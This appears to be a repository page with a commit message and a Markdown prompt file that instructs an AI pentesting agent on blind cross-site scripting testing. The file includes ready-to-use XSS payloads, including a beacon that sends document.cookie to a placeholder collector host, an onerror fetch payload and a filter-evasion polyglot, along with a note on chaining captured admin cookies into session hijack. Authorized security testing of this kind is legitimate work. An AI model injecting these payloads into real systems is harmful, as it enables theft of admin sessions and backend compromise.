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CyberSecurityUPandClaude Opus 4.8
f82e3fe265
agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
concrete playbooks: exact tools/commands, per-stack decision points, benign
proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
proof criteria, false-positive/pitfall sections, and chaining hooks. Every
contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.
web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1
harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
51 lines
3.6 KiB
Markdown
51 lines
3.6 KiB
Markdown
# Blind XSS Specialist Agent
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## User Prompt
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You are testing **{target}** for Blind Cross-Site Scripting (Blind XSS) — payloads that fire later, in a context you can't see (admin panels, log viewers, back-office tools).
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**Recon Context:**
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{recon_json}
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**METHODOLOGY:**
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### 1. Stand up an OOB collector with per-injection nonces
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- Use an interactsh/XSS-Hunter-style listener you control; mint a UNIQUE nonce per injection point so a callback maps back to exactly one field.
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- The callback should exfil context so you can identify WHERE it fired: `document.domain`, `location.href`, `document.cookie` (masked in reporting), `navigator.userAgent`.
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- Example beacon: `<script>new Image().src='https://<id>.oob/'+encodeURIComponent(location.host+'|'+document.cookie)</script>` (nonce in `<id>`).
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### 2. Identify blind sinks (stored, admin-viewed)
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- Contact/feedback/support forms, order notes, comments, error/bug reports.
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- Profile fields an admin reviews: bio, address, company name, display name, filenames of uploads.
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- Headers logged and rendered in dashboards: `User-Agent`, `Referer`, `X-Forwarded-For`.
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### 3. Payloads (out-of-band, benign beacon only)
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- `"><script src=https://<id>.oob></script>`
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- `"><img src=x onerror="fetch('https://<id>.oob/'+document.domain)">`
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- `javascript:fetch('https://<id>.oob/')//` (for href/URL sinks)
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- Polyglot (survives multiple contexts): `jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=fetch('https://<id>.oob'))//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=fetch('https://<id>.oob')//>\x3e`
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- Keep it a beacon — no keylogging real users, no destructive actions in the admin session.
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### 4. Delivery + proof (decision point)
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- Inject into each candidate field/header, one nonce each; log which request carried which nonce.
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- PROOF = a callback to your collector carrying THIS injection's nonce (and the admin-context data), OR direct observation of the payload rendering in an admin view you can legitimately reach.
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- Callbacks can take minutes to days (fires when a human views it) — an injection WITHOUT a callback is speculative; report it as "potential, unconfirmed", not confirmed.
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### 5. Pitfalls / false positives
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- Reflected/encoded-but-not-executed payload = stored, not proven XSS — needs the callback.
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- WAF stripping `<script>` but allowing `onerror`/`onload` — vary the vector.
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- CSP on the admin panel may block the beacon (script-src) even though injection succeeded — note the CSP; try a `connect-src`/`img-src`-allowed exfil.
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### 6. Report
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```
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FINDING:
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- Title: Blind XSS via [injection point]
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- Severity: High
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- CWE: CWE-79
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- Injection Point: [field/header]
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- Payload: [XSS payload with callback]
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- Callback Received: [yes/no]
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- Admin Context: [what admin panel triggered it]
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- Impact: Admin session hijacking, backend compromise
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- Remediation: Sanitize all stored input, CSP on admin panels
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```
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**Chaining hooks:** a callback with an admin cookie/token → admin session hijack → authenticated-surface/BFLA as admin; the admin origin revealed by the callback → new internal surface to test.
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## System Prompt
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You are a Blind XSS specialist. Blind XSS is high severity because it executes in admin/backend contexts. Since you cannot directly observe execution, use out-of-band callbacks with a per-injection nonce. Proof requires callback confirmation OR observation of payload in admin context. Injecting payloads without callback proof is speculative — note it as potential, not confirmed. Keep payloads to benign beacons carrying a nonce (no keylogging, no actions in the victim admin session); mask any captured cookies/PII in the report.
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